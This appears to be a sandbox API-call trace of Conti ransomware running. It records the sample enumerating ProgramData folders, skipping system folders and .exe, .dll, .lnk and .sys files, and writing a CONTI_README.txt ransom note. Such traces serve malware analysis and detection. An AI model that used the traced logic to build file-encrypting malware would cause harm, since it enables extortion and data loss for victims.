	[0105.727] lstrlenW (lpString="edb.chk") returned 7
	[0105.727] GetProcessHeap () returned 0x1720000
	[0105.727] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x1741290
	[0105.727] lstrcpyW (in: lpString1=0x1741290, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.727] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.727] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="edb.chk" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk"
	[0105.727] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x18b7cc5b, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0105.727] lstrcmpiW (lpString1="edb.log", lpString2=".") returned 1
	[0105.727] lstrcmpiW (lpString1="edb.log", lpString2="..") returned 1
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch=".CONTI") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch="CONTI_README.txt") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch=".exe") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch=".dll") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch=".lnk") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch=".sys") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch=".CONTI") returned 0x0
	[0105.727] StrStrIW (lpFirst="edb.log", lpSrch="CONTI_README.txt") returned 0x0
	[0105.727] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.727] lstrlenW (lpString="edb.log") returned 7
	[0105.727] GetProcessHeap () returned 0x1720000
	[0105.727] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x1741220
	[0105.728] lstrcpyW (in: lpString1=0x1741220, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.728] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.728] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="edb.log" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log"
	[0105.728] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e4d293, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0105.728] lstrcmpiW (lpString1="edbres00001.jrs", lpString2=".") returned 1
	[0105.728] lstrcmpiW (lpString1="edbres00001.jrs", lpString2="..") returned 1
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch=".CONTI") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch="CONTI_README.txt") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch=".exe") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch=".dll") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch=".lnk") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch=".sys") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch=".CONTI") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00001.jrs", lpSrch="CONTI_README.txt") returned 0x0
	[0105.728] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.728] lstrlenW (lpString="edbres00001.jrs") returned 15
	[0105.728] GetProcessHeap () returned 0x1720000
	[0105.728] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e4258
	[0105.728] lstrcpyW (in: lpString1=0x17e4258, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.728] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.728] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="edbres00001.jrs" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00001.jrs"
	[0105.728] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0105.728] lstrcmpiW (lpString1="edbres00002.jrs", lpString2=".") returned 1
	[0105.728] lstrcmpiW (lpString1="edbres00002.jrs", lpString2="..") returned 1
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch=".CONTI") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch="CONTI_README.txt") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch=".exe") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch=".dll") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch=".lnk") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch=".sys") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch=".CONTI") returned 0x0
	[0105.728] StrStrIW (lpFirst="edbres00002.jrs", lpSrch="CONTI_README.txt") returned 0x0
	[0105.728] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.729] lstrlenW (lpString="edbres00002.jrs") returned 15
	[0105.729] GetProcessHeap () returned 0x1720000
	[0105.729] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e42d8
	[0105.729] lstrcpyW (in: lpString1=0x17e42d8, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="edbres00002.jrs" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbres00002.jrs"
	[0105.729] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc63d09b3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="edbtmp.log", cAlternateFileName="")) returned 1
	[0105.729] lstrcmpiW (lpString1="edbtmp.log", lpString2=".") returned 1
	[0105.729] lstrcmpiW (lpString1="edbtmp.log", lpString2="..") returned 1
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch=".CONTI") returned 0x0
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch="CONTI_README.txt") returned 0x0
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch=".exe") returned 0x0
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch=".dll") returned 0x0
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch=".lnk") returned 0x0
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch=".sys") returned 0x0
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch=".CONTI") returned 0x0
	[0105.729] StrStrIW (lpFirst="edbtmp.log", lpSrch="CONTI_README.txt") returned 0x0
	[0105.729] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.729] lstrlenW (lpString="edbtmp.log") returned 10
	[0105.729] GetProcessHeap () returned 0x1720000
	[0105.729] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17407a8
	[0105.729] lstrcpyW (in: lpString1=0x17407a8, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="edbtmp.log" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log"
	[0105.729] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x29c77348, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="qmgr.db", cAlternateFileName="")) returned 1
	[0105.729] lstrcmpiW (lpString1="qmgr.db", lpString2=".") returned 1
	[0105.729] lstrcmpiW (lpString1="qmgr.db", lpString2="..") returned 1
	[0105.729] StrStrIW (lpFirst="qmgr.db", lpSrch=".CONTI") returned 0x0
	[0105.729] StrStrIW (lpFirst="qmgr.db", lpSrch="CONTI_README.txt") returned 0x0
	[0105.729] StrStrIW (lpFirst="qmgr.db", lpSrch=".exe") returned 0x0
	[0105.729] StrStrIW (lpFirst="qmgr.db", lpSrch=".dll") returned 0x0
	[0105.729] StrStrIW (lpFirst="qmgr.db", lpSrch=".lnk") returned 0x0
	[0105.729] StrStrIW (lpFirst="qmgr.db", lpSrch=".sys") returned 0x0
	[0105.729] StrStrIW (lpFirst="qmgr.db", lpSrch=".CONTI") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.db", lpSrch="CONTI_README.txt") returned 0x0
	[0105.730] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.730] lstrlenW (lpString="qmgr.db") returned 7
	[0105.730] GetProcessHeap () returned 0x1720000
	[0105.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x17410d0
	[0105.730] lstrcpyW (in: lpString1=0x17410d0, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="qmgr.db" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db"
	[0105.730] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x18b5691b, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="qmgr.jfm", cAlternateFileName="")) returned 1
	[0105.730] lstrcmpiW (lpString1="qmgr.jfm", lpString2=".") returned 1
	[0105.730] lstrcmpiW (lpString1="qmgr.jfm", lpString2="..") returned 1
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch=".CONTI") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch="CONTI_README.txt") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch=".exe") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch=".dll") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch=".lnk") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch=".sys") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch=".CONTI") returned 0x0
	[0105.730] StrStrIW (lpFirst="qmgr.jfm", lpSrch="CONTI_README.txt") returned 0x0
	[0105.730] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0105.730] lstrlenW (lpString="qmgr.jfm") returned 8
	[0105.730] GetProcessHeap () returned 0x1720000
	[0105.730] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740550
	[0105.730] lstrcpyW (in: lpString1=0x1740550, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0105.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\"
	[0105.730] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\", lpString2="qmgr.jfm" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.jfm") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.jfm"
	[0105.730] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x18b5691b, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="qmgr.jfm", cAlternateFileName="")) returned 0
	[0105.730] GetProcessHeap () returned 0x1720000
	[0105.730] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0d30 | out: hHeap=0x1720000) returned 1
	[0105.730] FindClose (in: hFindFile=0x17c8430 | out: hFindFile=0x17c8430) returned 1
	[0105.730] GetProcessHeap () returned 0x1720000
	[0105.730] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1328 | out: hHeap=0x1720000) returned 1
	[0105.730] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0
	[0105.731] GetProcessHeap () returned 0x1720000
	[0105.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d238 | out: hHeap=0x1720000) returned 1
	[0105.731] FindClose (in: hFindFile=0x17c8030 | out: hFindFile=0x17c8030) returned 1
	[0105.731] GetProcessHeap () returned 0x1720000
	[0105.731] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d3c8 | out: hHeap=0x1720000) returned 1
	[0105.731] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Office", cAlternateFileName="")) returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2=".") returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="..") returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="tmp") returned -1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="winnt") returned -1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="Application Data") returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="AppData") returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="temp") returned -1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="thumb") returned -1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="$Recycle.Bin") returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="$RECYCLE.BIN") returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="System Volume Information") returned -1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="Program Files") returned -1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="Program Files (x86)") returned -1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="Boot") returned 1
	[0105.731] lstrcmpiW (lpString1="Office", lpString2="Windows") returned -1
	[0105.731] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.731] lstrlenW (lpString="Office") returned 6
	[0105.731] GetProcessHeap () returned 0x1720000
	[0105.731] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x40) returned 0x17345e8
	[0105.731] lstrcpyW (in: lpString1=0x17345e8, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.731] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.731] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office"
	[0105.731] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Office") returned 31
	[0105.731] GetProcessHeap () returned 0x1720000
	[0105.731] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x44) returned 0x173d3c8
	[0105.731] lstrcpyW (in: lpString1=0x173d3c8, lpString2="C:\\ProgramData\\Microsoft\\Office" | out: lpString1="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office"
	[0105.731] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Office", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Office\\*") returned="C:\\ProgramData\\Microsoft\\Office\\*"
	[0105.731] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Office") returned 31
	[0105.731] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.731] GetProcessHeap () returned 0x1720000
	[0105.732] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x62) returned 0x1740d50
	[0105.732] lstrcpyW (in: lpString1=0x1740d50, lpString2="C:\\ProgramData\\Microsoft\\Office" | out: lpString1="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office"
	[0105.732] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Office\\") returned="C:\\ProgramData\\Microsoft\\Office\\"
	[0105.732] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Office\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Office\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Office\\CONTI_README.txt"
	[0105.732] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\office\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.732] GetProcessHeap () returned 0x1720000
	[0105.732] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740d50 | out: hHeap=0x1720000) returned 1
	[0105.732] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.733] CloseHandle (hObject=0x30c) returned 1
	[0105.733] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x52ddf82e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0105.733] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.733] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x52ddf82e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.733] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.733] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.733] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1
	[0105.733] lstrcmpiW (lpString1="ClickToRunPackageLocker", lpString2=".") returned 1
	[0105.733] lstrcmpiW (lpString1="ClickToRunPackageLocker", lpString2="..") returned 1
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch=".CONTI") returned 0x0
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch="CONTI_README.txt") returned 0x0
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch=".exe") returned 0x0
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch=".dll") returned 0x0
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch=".lnk") returned 0x0
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch=".sys") returned 0x0
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch=".CONTI") returned 0x0
	[0105.733] StrStrIW (lpFirst="ClickToRunPackageLocker", lpSrch="CONTI_README.txt") returned 0x0
	[0105.734] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Office") returned 31
	[0105.734] lstrlenW (lpString="ClickToRunPackageLocker") returned 23
	[0105.734] GetProcessHeap () returned 0x1720000
	[0105.734] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740a78
	[0105.734] lstrcpyW (in: lpString1=0x1740a78, lpString2="C:\\ProgramData\\Microsoft\\Office" | out: lpString1="C:\\ProgramData\\Microsoft\\Office") returned="C:\\ProgramData\\Microsoft\\Office"
	[0105.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Office\\") returned="C:\\ProgramData\\Microsoft\\Office\\"
	[0105.734] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Office\\", lpString2="ClickToRunPackageLocker" | out: lpString1="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker") returned="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker"
	[0105.734] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ddf82e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52ddf82e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52ddf82e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.734] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.734] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
